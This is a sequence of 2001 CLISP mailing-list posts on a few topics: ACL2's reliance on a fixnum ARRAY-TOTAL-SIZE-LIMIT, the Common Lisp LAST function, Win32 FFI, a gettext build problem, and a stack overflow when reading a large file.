in order to make a reliable multithreaded Clisp.

Anyone out there have any ideas about this?  Even some idea of how
many such operations there are?  


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>>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF <wbuss@gmx.net> writes:

    Wolfhard> Raymond Toy <toy@rtp.ericsson.se> writes:
    Wolfhard> There is at least one piece of software, i.e. ACL2,
    Wolfhard> that depends on
    >>=20
    Wolfhard> (typep array-total-size-limit 'fixnum)
    Wolfhard> =3D> T
    >>=20
    >> Why does it care and what is ACL2?
    >>=20
    >> I have to say I don't understand why any piece of code (other than t=
he
    >> lisp internals) would really care that array-total-size-limit is or =
is
    >> not a fixnum.

    Wolfhard> bignums are not a data type in ACL and because of the close c=
onnection
    Wolfhard> between ACL and the underlying Common Lisp there is no place =
for arrays=20
    Wolfhard> with possibly bignum elements.  No place in a formal language=
 which is
    Wolfhard> the base of a logic.

I don't understand how arrays with bignum elements is related to
array-total-size-limit not being a fixnum.  Do you mean arrays with a
bignum number of elements?

    Wolfhard> The implementation depends on the fixnum array-total-size-lim=
it. It's
    Wolfhard> probably conceptually impossible to change this.=20

But why?  Why not just delete the offending code in ACL2 that figures
out that array-total-size-limit is not a fixnum?

    Wolfhard> Fixing clisp's ansi mode is the way to go.

    Wolfhard> You may look at the sources yourself.

Thanks for the reference, but it's very unlikely that I will.

Ray


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 > >     Wolfhard> There is at least one piece of software, i.e. ACL2,
 > >     Wolfhard> that depends on
 > > 
 > >     Wolfhard>  (typep array-total-size-limit 'fixnum)
 > >     Wolfhard>  => T
 > ACL2: 'A Computational Logic for Applicative Common Lisp' [1] is 'An
 > Industrial Strength Theorem Prover for a Logic Based on Common Lisp' [2],
 > a small applicative subset of CLtL2.
 > ACL2 is an automated reasoning system used to verify Hardware and Software
 > systems.
 > bignums are not a data type in ACL and because of the close connection
 > between ACL and the underlying Common Lisp there is no place for arrays 
 > with possibly bignum elements.  No place in a formal language which is
 > the base of a logic.
 > 
 > The implementation depends on the fixnum array-total-size-limit. It's
 > probably conceptually impossible to change this. 
 > 
 > Fixing clisp's ansi mode is the way to go.
 > 
 > You may look at the sources yourself.
 ...
 > Footnotes: 
 > [1]  http://www.cs.utexas.edu/users/moore/acl2/
 > 
 > [2]  http://www.cs.utexas.edu/users/moore/publications/

Obviously I have not read the sources since you posted this.
I have enjoyed reading the tutorials and some other doc, though.
I don't see anything about fixnums at all in the doc.
In fact "numbers" are described as rationals or complex rationals.

Of course, the doc also lists a number of common lisp implementations 
in which acl2 runs and the list does not include clisp!
So I guess you must be trying to extend that list.  In which case it's
not all that surprising that some code might have be to changed.
I bet if you ask the authors of acl2 they can tell you what's the best
thing to change.  I can believe that they won't want to change acl2 in
order to comply with the failure of a lisp implementation to conform
to ansi, but I'd be surprised if they haven't had to do this already
for most of the other implementations on the list.  


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Raymond Toy <toy@rtp.ericsson.se> writes:

> >>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF <wbuss@gmx.net> writes:
>=20
>     Wolfhard> bignums are not a data type in ACL and because of the close=
 connection
>     Wolfhard> between ACL and the underlying Common Lisp there is no plac=
e for arrays=20
>     Wolfhard> with possibly bignum elements.  No place in a formal langua=
ge which is
>     Wolfhard> the base of a logic.
>=20
> I don't understand how arrays with bignum elements is related to
> array-total-size-limit not being a fixnum.  Do you mean arrays with a
> bignum number of elements?
=20
You're right, (=3D array-total-size-limit (1+ most-positive-fixnum)) implie=
s that
indices are fixnum, and that shouldn't be an issue in a system for reasonin=
g=20
about ACL expressions without bignums.=20

>     Wolfhard> The implementation depends on the fixnum array-total-size-l=
imit. It's
>     Wolfhard> probably conceptually impossible to change this.=20
>=20
> But why?  Why not just delete the offending code in ACL2 that figures
> out that array-total-size-limit is not a fixnum?

Why not fixing clisp's ansi mode? :)


Wolfhard



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don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:

> I don't see anything about fixnums at all in the doc.
> In fact "numbers" are described as rationals or complex rationals.

Right. Rationals are described with integers. Integers are currently
implemented as a subset of the fixnums of the underlying Common Lisp.

BTW, acl2r implements reals as nonstandard-reals.


Wolfhard


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Wolfhard =3D?iso-8859-1?q?Bu=3DDF?=3D writes:
 > > I don't see anything about fixnums at all in the doc.
 > > In fact "numbers" are described as rationals or complex rationals.=


 > Right. Rationals are described with integers. Integers are currently=

 > implemented as a subset of the fixnums of the underlying Common Lisp=
.
I don't understand where fixnums enter the picture at all.
I'd expect that acl would use the type integer, not fixnum.
This is better for most purposes related to logic, since you prefer to
reason about integers rather than fixnums.  I'd find it hard to
believe, for instance, that arrays are not allowed to hold arbitrary
integers.

 > Raymond Toy <toy@rtp.ericsson.se> writes:
 > > >>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF <wbuss@gmx.net> writes:
 > >     Wolfhard> bignums are not a data type in ACL and because of
         the close connection=20

I agree that bignums should not be a data type in ACL, but for the
same reason, neither should fixnums.  Integers should be the type used
in either case.  (For instance, integers are closed under addition,=20
while bignums and fixnums are not.)  Of course, having not read or
written the code, I don't know for sure what is implemented. =20
I'm only arguing about what makes sense. =20
(But I'm also willing to bet that this is what is implemented.)

 > >     Wolfhard> The implementation depends on the fixnum
         array-total-size-limit. It's=20
 > >     Wolfhard> probably conceptually impossible to change this.=20
Do you have any evidence of that?
Perhaps you're just getting an error from clisp because something is
checking the type of an array size.  Perhaps just changing the type
from fixnum to integer would solve the problem.

 > > But why?  Why not just delete the offending code in ACL2 that figu=
res
 > > out that array-total-size-limit is not a fixnum?
 > Why not fixing clisp's ansi mode? :)
Clearly this problem can be fixed in different places.  If you can
find some compelling arguments for NOT changing the application (ACL)
then I'd like to hear them.  I've not heard any so far.
The main argument for changing the application in this case is that
it would extend the range of the application (which would then be able
to deal with new cases, while still dealing with all of the old ones),
whereas changing the lisp implementation (at least in the easy way of
simply decreasing the array index limit) would have the reverse effect
of making the lisp implementation no longer handle cases that it could
before, without enabling it to deal with any new cases.



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According to the common lisp hyperspec

	(last '(a.b) 0) => b

but clisp 2.27 on debian "potato" linux returns nil.

Cheers,
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andrew@thesoftwaresmith.com.au wrote:
> According to the common lisp hyperspec
> 
> 	(last '(a.b) 0) => b
> 
> but clisp 2.27 on debian "potato" linux returns nil.

CLHS: If n is zero, the atom that terminates the list is returned.

CLISP implementation is conformant. Maybe you mean
      (last '(a . b) 0) => B
and that is what CLISP does.

Best!

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I wrote:

> Integers are currently implemented as a subset of the fixnums of
> the underlying Common Lisp.

Nonsense. ACL2 integers are the _integers_ of the underlying CL.
Apologies for the confusion.

don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:

> I'd find it hard to believe, for instance, that arrays are not
> allowed to hold arbitrary integers.

I was talking about indices.
The immutable applicative one or two-dimensional arrays of ACL2
may hold arbitrary objects.


>  Wolfhard> The implementation depends on the fixnum
>  Wolfhard> array-total-size-limit. It's 
>  Wolfhard> probably conceptually impossible to change this.
 
> Do you have any evidence of that?

 (or (typep array-dimension-limit 'fixnum)
     (error "We assume that ARRAY-DIMENSION-LIMIT is a fixnum.  CLTL2 ~
             requires this.  ACL2 will not work in this Common Lisp."))


>  Raymond> But why?  Why not just delete the offending code in ACL2 that
>  Raymond> figures out that array-total-size-limit is not a fixnum?

>  Wolfhard> Why not fixing clisp's ansi mode? :)

> Clearly this problem can be fixed in different places.  If you can
> find some compelling arguments for NOT changing the application (ACL)
> then I'd like to hear them.  I've not heard any so far.

Work. Economy. Fix clisp's ansi mode, and I don't have to change the
application wrt array-dimension-limit and the community is happy 
because of clisp with ansi mode.

However, thanks for responding.

Wolfhard


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Wolfhard =?iso-8859-1?q?Bu=DF?= writes:
 > I wrote:
 > 
 > > Integers are currently implemented as a subset of the fixnums of
 > > the underlying Common Lisp.
 > 
 > Nonsense. ACL2 integers are the _integers_ of the underlying CL.
 > Apologies for the confusion.
Good.  As I expected.

 > >  Wolfhard> The implementation depends on the fixnum
 > >  Wolfhard> array-total-size-limit. It's 
 > >  Wolfhard> probably conceptually impossible to change this.
 >  
 > > Do you have any evidence of that?
 > 
 >  (or (typep array-dimension-limit 'fixnum)
 >      (error "We assume that ARRAY-DIMENSION-LIMIT is a fixnum.  CLTL2 ~
 >              requires this.  ACL2 will not work in this Common Lisp."))

This is not very good evidence that it's conceptually hard to change.
You might, for instance, comment out the error and see what goes
wrong.  Or you might just ask the authors of acl2 what would have
to be fixed to generalize this fixnum to integer.

 > >  Wolfhard> Why not fixing clisp's ansi mode? :)
 > 
 > > Clearly this problem can be fixed in different places.  If you can
 > > find some compelling arguments for NOT changing the application (ACL)
 > > then I'd like to hear them.  I've not heard any so far.
 > 
 > Work. Economy. Fix clisp's ansi mode, and I don't have to change the
 > application wrt array-dimension-limit and the community is happy 
 > because of clisp with ansi mode.
Conversely, fix acl2 and you don't have to fix clisp.  This argument 
doesn't seem to favor one over the other.
I admit that I'd expect it to be easy to change clisp, and you could 
certainly do this on your own local copy.  But I'd also expect that
acl2 would be easy to fix, and that would be preferable for the reason
in my last message.


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> * In message <ug0ahjy4s.fsf@yahoo.no>
> * On the subject of "[clisp-list] FFI and win32"
> * Sent on 24 Aug 2001 17:06:27 +0200
> * Honorable mats_bergstrom@yahoo.no (Mats Bergstr=F8m) writes:
>
> I'm trying to use FFI on win32. In the impnotes.html document (with
> CLISP 2.25, released 2001-03-15), section "Extensions-2.3. The Foreign
> Function Call Facility", there are two linking examples (29.4, 29.5),
> but both make use of the module facility ("Extensions-2.2. External
> Modules"). But this doesn't work on win32 since modules are Unix
> specific.

yes, this is very unfortunate.
you can try to port the examples to win32: either using the cygwin tools
or directly: clisp-link.sh is just a shell script, so porting it to
cmd.exe should not be too hard.
just go ahead and try it, and send us the results!

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On Mon, Sep 03, 2001 at 08:00:16AM -0700, Don Cohen wrote:
> Wolfhard =?iso-8859-1?q?Bu=DF?= writes:
>  > Work. Economy. Fix clisp's ansi mode, and I don't have to change the
>  > application wrt array-dimension-limit and the community is happy 
>  > because of clisp with ansi mode.
>
> Conversely, fix acl2 and you don't have to fix clisp.  This argument 
> doesn't seem to favor one over the other.

Oh, yes it does.

Standards-compliance in a mode that aims to be standard-compliant is a
good thing.

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> >>>>> "Wolfhard" == Wolfhard Buß <wbuss@gmx.net> writes:
> 
>     Wolfhard> Sam Steingold <sds@gnu.org> writes:
>     >> ARRAY-TOTAL-SIZE-LIMIT is
>     >> "The upper exclusive bound on the array total size of an array."
>     >> thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do
>     >> (make-array most-positive-fixnum)
>     >> 
>     >> thus the choice is
>     >> (1) disable (make-array most-positive-fixnum)
>     >> (2) break the standard by either
>     >> - ARRAY-TOTAL-SIZE-LIMIT is not fixnum
>     >> - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound.
>     >> 
>     >> I don't like any of the solutions.
>     >> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to
>     >> allow efficient arithmetics on array indexes and CLISP ignores type
>     >> declarations anyway, the current non-compliance should not matter.
> 
>  
>     Wolfhard> There is at least one piece of software, i.e. ACL2, that depends on
> 
>     Wolfhard>  (typep array-total-size-limit 'fixnum)
>     Wolfhard>  => T
> 
> Why does it care and what is ACL2?
> 
> I have to say I don't understand why any piece of code (other than the
> lisp internals) would really care that array-total-size-limit is or is
> not a fixnum.

(deftype my-index-type ()
  `(integer 42 ,array-total-size-limit))

In theory a CL implementation could (and CMUCL can) recognize that
MY-INDEX-TYPE is a type spec that can fit in a FIXNUM.

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Last April, I was able to solve an internationalization problem 
(that is: "clisp -L french" gives me french messages) on
clisp-2.25 using the following advice:

  >>> "Sam" == Sam Steingold <<EMAIL: PROTECTED>> writes:
  >>
  >>    > * In message
  >>    > <<EMAIL: PROTECTED>>
  >>> * On the subject of "Re: [clisp-list] internationalization
  >>    > problem" * Sent on 12 Apr 2001 16:45:22 +0200 * Honorable
  >>    > bernard URBAN <<EMAIL: PROTECTED>> writes:
  >>    > > > "Sam" == Sam Steingold <<EMAIL: PROTECTED>> writes:
  >>    > Sam> Please try the following: - build libiconv (part of CLISP) -
  >>    Sam> install libiconv - reconfigure and re-build CLISP.
  >>    > Done, but problem remains the same.
  >>
  >>    Sam> Here is what you should have done:
  >>
  >>    Sam> 1) make distclean in the CLISP directory.  2) cd libiconv
  >>    Sam> ./configure --disable-shared make make install make distclean
  >>    Sam> 3) set the environment variables CPPFLAGS=-I/..../include so
  >>    Sam> that it will find <iconv.h> LDFLAGS=-L/..../lib so that it
  >>    Sam> will find libiconv.a and export them Here "...." is the path
  >>    Sam> where the previous "make install" installed the files iconv.h
  >>    Sam> and libiconv.a 4) back to CLISP main directory ./configure
  >>    Sam> and continue as usual
  >>
  >>    Sam> Does this help?
  >>
  >>Yes, it works !!! (tested on Solaris, I will try on Linux Debian later)
                                                        ^^^^^^^^^^^^
It worked also for clisp-2.25.

  >>In all cases, clisp builds the libiconv.a in its distribution, so it
  >>does not make sense to TEST for an external iconv in the configure process.
  >>

This no longer works with clisp-2.27, with the same machines as above
and same OS as in April. (I even moved the old clisp-2.25 files to
avoid a possible interference)

Any hints ?

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> * In message <87u1yizwhr.fsf@merceron.meteo.fr>
> * On the subject of "[clisp-list] internationalization problem on clisp-2.27"
> * Sent on 04 Sep 2001 19:39:12 +0200
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> Last April, I was able to solve an internationalization problem 
> (that is: "clisp -L french" gives me french messages) on
> clisp-2.25 using the following advice:
> 
>   >>    Sam> 1) make distclean in the CLISP directory.  2) cd libiconv
>   >>    Sam> ./configure --disable-shared make make install make distclean
>   >>    Sam> 3) set the environment variables CPPFLAGS=-I/..../include so
>   >>    Sam> that it will find <iconv.h> LDFLAGS=-L/..../lib so that it
>   >>    Sam> will find libiconv.a and export them Here "...." is the path
>   >>    Sam> where the previous "make install" installed the files iconv.h
>   >>    Sam> and libiconv.a 4) back to CLISP main directory ./configure
>   >>    Sam> and continue as usual
> 
> This no longer works with clisp-2.27, with the same machines as above
> and same OS as in April. (I even moved the old clisp-2.25 files to
> avoid a possible interference)

this problem is disturbing.
yes, I do observe it from time to time, but a clean build always helps.
please do this:

$ rm -rf build
$ ./configure --build build
$ cd build
$ ./.clisp -q -norc -L french -x '(/ 0)'

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Sam Steingold <sds@gnu.org> writes:

> > * In message <87u1yizwhr.fsf@merceron.meteo.fr>
> > * On the subject of "[clisp-list] internationalization problem on clisp-2.27"
> > * Sent on 04 Sep 2001 19:39:12 +0200
> > * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
> >
> > Last April, I was able to solve an internationalization problem 
> > (that is: "clisp -L french" gives me french messages) on
> > clisp-2.25 using the following advice:
> > 
> >   >>    Sam> 1) make distclean in the CLISP directory.  2) cd libiconv
> >   >>    Sam> ./configure --disable-shared make make install make distclean
> >   >>    Sam> 3) set the environment variables CPPFLAGS=-I/..../include so
> >   >>    Sam> that it will find <iconv.h> LDFLAGS=-L/..../lib so that it
> >   >>    Sam> will find libiconv.a and export them Here "...." is the path
> >   >>    Sam> where the previous "make install" installed the files iconv.h
> >   >>    Sam> and libiconv.a 4) back to CLISP main directory ./configure
> >   >>    Sam> and continue as usual
> > 
> > This no longer works with clisp-2.27, with the same machines as above
> > and same OS as in April. (I even moved the old clisp-2.25 files to
> > avoid a possible interference)
> 
> this problem is disturbing.
> yes, I do observe it from time to time, but a clean build always helps.
> please do this:
> 
> $ rm -rf build
> $ ./configure --build build
> $ cd build
> $ ./.clisp -q -norc -L french -x '(/ 0)'

Sorry, does not solve the problem. 
For your information, build/Makefile was created with
./makemake --with-readline --with-gettext --with-dynamic-ffi

I have tried to see if the message 
"division by 0" in the source 
is really preceded by a call to a *gettext function by
using the cpp output, the answer is yes.

So the problem seems to be related to these functions.

-- 

Bernard Urban


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Hi,

I'm using CLISP on Windows NT. When running:

(defun read-file (name)
  (let ((x (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 
:adjustable t))
	    (y (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 
:adjustable t))
        (z (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 
:adjustable t)))
       (with-open-file (in name)
	     (do ((xx (read in nil 'eof) (read in nil 'eof))
              (yy (read in nil 'eof) (read in nil 'eof))
              (zz (read in nil 'eof) (read in nil 'eof)))
			 ((eql zz 'eof)) 
             (progn (vector-push-extend xx x)
                    (vector-push-extend yy y)
                    (vector-push-extend zz z))))
         (values x y z)))
(compile 'read-file)
(setf result (multiple-value-bind (mx my mz) (read-file "big_file.txt") (list mx my mz)))
(progn
 (setq result (multiple-value-call #'list (read-file "big_file.txt")))
 nil)

on a big file (about 27 MB) I get the message:

*** - Program stack overflow. RESET
*** - Program stack overflow. RESET

and so on. With a small file everything works as expected. I originally posted this to 
comp.lang.lisp and got an answer from Sam Steingold. He wrote:

> I am pretty sure this is the printer problem: you probably have
> *print-circle* set to T or something. 

*print-circle* is set to NIL.

>try

>(progn
 >(setq result (multiple-value-call #'list (read-file "big_file.txt")))
 >nil)

I tried this but got the same error messages as before.

I would be very appreciative for help.

Rolf Wester


-------------------------------------
Rolf Wester
wester@ilt.fhg.de


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Look at the "-m" on start up.  In my experience the "-m" will increase it
some, but there is a limit.
I don't know what the limit is. At this point, I went to a better OS.  If
you are "stuck" with NT
look at product called VMWARE.  One can run a linux box inside of an NT box.
I do some small
testing with VMWARE and Linux and have gotten good results even with "large"
objects.     

Randy Justice

-----Original Message-----
From: Rolf Wester [mailto:wester@ilt.fhg.de]
Sent: Wednesday, September 05, 2001 7:09 AM
To: clisp-list@lists.sourceforge.net
Subject: [clisp-list] Program stack overflow


Hi,

I'm using CLISP on Windows NT. When running:

(defun read-file (name)
  (let ((x (make-array '(1046529) :element-type :single-float
:initial-element 0.0 :fill-pointer 0 
:adjustable t))
	    (y (make-array '(1046529) :element-type :single-float
:initial-element 0.0 :fill-pointer 0 
:adjustable t))
        (z (make-array '(1046529) :element-type :single-float
:initial-element 0.0 :fill-pointer 0 
:adjustable t)))
       (with-open-file (in name)
	     (do ((xx (read in nil 'eof) (read in nil 'eof))
              (yy (read in nil 'eof) (read in nil 'eof))
              (zz (read in nil 'eof) (read in nil 'eof)))
			 ((eql zz 'eof)) 
             (progn (vector-push-extend xx x)
                    (vector-push-extend yy y)
                    (vector-push-extend zz z))))
         (values x y z)))
(compile 'read-file)
(setf result (multiple-value-bind (mx my mz) (read-file "big_file.txt")
(list mx my mz)))
(progn
 (setq result (multiple-value-call #'list (read-file "big_file.txt")))
 nil)

on a big file (about 27 MB) I get the message:

*** - Program stack overflow. RESET
*** - Program stack overflow. RESET

and so on. With a small file everything works as expected. I originally
posted this to 
comp.lang.lisp and got an answer from Sam Steingold. He wrote:

> I am pretty sure this is the printer problem: you probably have
> *print-circle* set to T or something. 

*print-circle* is set to NIL.

>try

>(progn
 >(setq result (multiple-value-call #'list (read-file "big_file.txt")))
 >nil)

I tried this but got the same error messages as before.

I would be very appreciative for help.

Rolf Wester


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<P><FONT SIZE=3D2>Look at the &quot;-m&quot; on start up.&nbsp; In my =
experience the &quot;-m&quot; will increase it some, but there is a =
limit.</FONT>
<BR><FONT SIZE=3D2>I don't know what the limit is. At this point, I =
went to a better OS.&nbsp; If you are &quot;stuck&quot; with NT</FONT>
<BR><FONT SIZE=3D2>look at product called VMWARE.&nbsp; One can run a =
linux box inside of an NT box.&nbsp; I do some small</FONT>
<BR><FONT SIZE=3D2>testing with VMWARE and Linux and have gotten good =
results even with &quot;large&quot; objects.&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
</P>

<P><FONT SIZE=3D2>Randy Justice</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Rolf Wester [<A =
HREF=3D"mailto:wester@ilt.fhg.de">mailto:wester@ilt.fhg.de</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, September 05, 2001 7:09 AM</FONT>
<BR><FONT SIZE=3D2>To: clisp-list@lists.sourceforge.net</FONT>
<BR><FONT SIZE=3D2>Subject: [clisp-list] Program stack overflow</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hi,</FONT>
</P>

<P><FONT SIZE=3D2>I'm using CLISP on Windows NT. When running:</FONT>
</P>

<P><FONT SIZE=3D2>(defun read-file (name)</FONT>
<BR><FONT SIZE=3D2>&nbsp; (let ((x (make-array '(1046529) :element-type =
:single-float :initial-element 0.0 :fill-pointer 0 </FONT>
<BR><FONT SIZE=3D2>:adjustable t))</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; (y (make-array '(1046529) :element-type =
:single-float :initial-element 0.0 :fill-pointer 0 </FONT>
<BR><FONT SIZE=3D2>:adjustable t))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (z =
(make-array '(1046529) :element-type :single-float :initial-element 0.0 =
:fill-pointer 0 </FONT>
<BR><FONT SIZE=3D2>:adjustable t)))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (with-open-file =
(in name)</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp; (do ((xx (read in nil 'eof) (read in =
nil 'eof))</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; (yy (read in nil 'eof) (read in nil 'eof))</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; (zz (read in nil 'eof) (read in nil 'eof)))</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT SIZE=3D2> ((eql =
zz 'eof)) </FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; (progn (vector-push-extend xx x)</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (vector-push-extend =
yy y)</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (vector-push-extend =
zz z))))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(values x y z)))</FONT>
<BR><FONT SIZE=3D2>(compile 'read-file)</FONT>
<BR><FONT SIZE=3D2>(setf result (multiple-value-bind (mx my mz) =
(read-file &quot;big_file.txt&quot;) (list mx my mz)))</FONT>
<BR><FONT SIZE=3D2>(progn</FONT>
<BR><FONT SIZE=3D2>&nbsp;(setq result (multiple-value-call #'list =
(read-file &quot;big_file.txt&quot;)))</FONT>
<BR><FONT SIZE=3D2>&nbsp;nil)</FONT>
</P>

<P><FONT SIZE=3D2>on a big file (about 27 MB) I get the message:</FONT>
</P>

<P><FONT SIZE=3D2>*** - Program stack overflow. RESET</FONT>
<BR><FONT SIZE=3D2>*** - Program stack overflow. RESET</FONT>
</P>

<P><FONT SIZE=3D2>and so on. With a small file everything works as =
expected. I originally posted this to </FONT>
<BR><FONT SIZE=3D2>comp.lang.lisp and got an answer from Sam Steingold. =
He wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I am pretty sure this is the printer problem: =
you probably have</FONT>
<BR><FONT SIZE=3D2>&gt; *print-circle* set to T or something. </FONT>
</P>

<P><FONT SIZE=3D2>*print-circle* is set to NIL.</FONT>
</P>

<P><FONT SIZE=3D2>&gt;try</FONT>
</P>

<P><FONT SIZE=3D2>&gt;(progn</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;(setq result (multiple-value-call #'list =
(read-file &quot;big_file.txt&quot;)))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;nil)</FONT>
</P>

<P><FONT SIZE=3D2>I tried this but got the same error messages as =
before.</FONT>
</P>

<P><FONT SIZE=3D2>I would be very appreciative for help.</FONT>
</P>

<P><FONT SIZE=3D2>Rolf Wester</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-------------------------------------</FONT>
<BR><FONT SIZE=3D2>Rolf Wester</FONT>
<BR><FONT SIZE=3D2>wester@ilt.fhg.de</FONT>
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> * In message <3B96320E.11873.2F5FBAB2@localhost>
> * On the subject of "[clisp-list] Program stack overflow"
> * Sent on Wed, 5 Sep 2001 14:09:18 +0200
> * Honorable "Rolf Wester" <wester@ilt.fhg.de> writes:
>
> I'm using CLISP on Windows NT. When running:
> 
> (defun read-file (name)
>   (let ((x (make-array '(1046529) :element-type :single-float

:SINGLE-FLOAT is not a type.  you need 'SINGLE-FLOAT
(this is irrelevant to your problem)

> :initial-element 0.0 :fill-pointer 0 :adjustable t))
> 	    (y (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 
> :adjustable t))
>         (z (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 
> :adjustable t)))
>        (with-open-file (in name)
> 	     (do ((xx (read in nil 'eof) (read in nil 'eof))
>               (yy (read in nil 'eof) (read in nil 'eof))
>               (zz (read in nil 'eof) (read in nil 'eof)))
> 			 ((eql zz 'eof)) 
>              (progn (vector-push-extend xx x)
>                     (vector-push-extend yy y)
>                     (vector-push-extend zz z))))

I suggest adding error checking here - use
 (vector-push-extend (float xx 1f0) x)

>          (values x y z)))
> (compile 'read-file)
> (setf result (multiple-value-bind (mx my mz) (read-file "big_file.txt") (list mx my mz)))

please remove this form, leaving only the progn:

> (progn
>  (setq result (multiple-value-call #'list (read-file "big_file.txt")))
>  nil)

> on a big file (about 27 MB) I get the message:
> 
> *** - Program stack overflow. RESET
> *** - Program stack overflow. RESET

how many numbers are there in the file?
could you please find out what the threshold is?
just count the records as they are read and print messages "100 records
read", "1000 records read" etc.

a good way to speed up the whole thing is something like this (untested):

(defun read-file1 (name)
  (let* ((list
          (with-open-file (fi name :direction :input)
            (with-input-from-string (beg "(")
              (with-input-from-string (end ")")
                (let ((in (make-concatenated-stream beg fi end)))
                  (unwind-protect (read in)
                    (close in)))))))
         (len (ceiling (length list) 3))
         (x (make-array len))
         (y (make-array len))
         (z (make-array len)))
    (dotimes (i len (values x y z))
      (setf (aref x i) (pop list)
            (aref y i) (pop list)
            (aref z i) (pop list)))))

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Thanks for your reply. I tried -m 50 MB but this had no influence on the problem.

Rolf Wester

> Look at the "-m" on start up.  In my experience the "-m" will increase it
> some, but there is a limit.
> I don't know what the limit is. At this point, I went to a better OS.  If
> you are "stuck" with NT
> look at product called VMWARE.  One can run a linux box inside of an NT box.
> I do some small
> testing with VMWARE and Linux and have gotten good results even with "large"
> objects.     
> 


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> * In message <87y9num0uo.fsf@merceron.meteo.fr>
> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27"
> * Sent on 05 Sep 2001 11:41:03 +0200
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> > $ rm -rf build
> > $ ./configure --build build
> > $ cd build
> > $ ./.clisp -q -norc -L french -x '(/ 0)'

this does work for me with the current development sources.
could you please try the CVS version?
thanks!

> Sorry, does not solve the problem.
you mean, you get "message inimprimable"?!

> So the problem seems to be related to these functions.

the problem is that configure for gettext should find libiconv.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <87y9num0uo.fsf@merceron.meteo.fr>
    >> * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27"
    >> * Sent on 05 Sep 2001 11:41:03 +0200
    >> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
    >> 
    >> > $ rm -rf build
    >> > $ ./configure --build build
    >> > $ cd build
    >> > $ ./.clisp -q -norc -L french -x '(/ 0)'

    Sam> this does work for me with the current development sources.
    Sam> could you please try the CVS version?

This works for me with my build of 2.27 (on Solaris).

Ray


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Sam Steingold <sds@gnu.org> writes:

> > * In message <87y9num0uo.fsf@merceron.meteo.fr>
> > * On the subject of "Re: [clisp-list] internationalization problem on c=
lisp-2.27"
> > * Sent on 05 Sep 2001 11:41:03 +0200
> > * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
> >
> > > $ rm -rf build
> > > $ ./configure --build build
> > > $ cd build
> > > $ ./.clisp -q -norc -L french -x '(/ 0)'
>=20
> this does work for me with the current development sources.
> could you please try the CVS version?
> thanks!

I just gave it a try: same problem.

>=20
> > Sorry, does not solve the problem.
> you mean, you get "message inimprimable"?!
>=20

The above is in french, I would be happy with that as a starter...
I have understand that this can happen if you give an incorrect option -E
for the console.
I have message "division by zero" instead of "Division par z=E9ro".

> > So the problem seems to be related to these functions.
>=20
> the problem is that configure for gettext should find libiconv.

It does, from the configure output:

executing build/gettext/configure ...
loading cache ../config.cache
checking for a BSD compatible install... (cached) /usr/bin/install -c
checking whether build environment is sane... yes
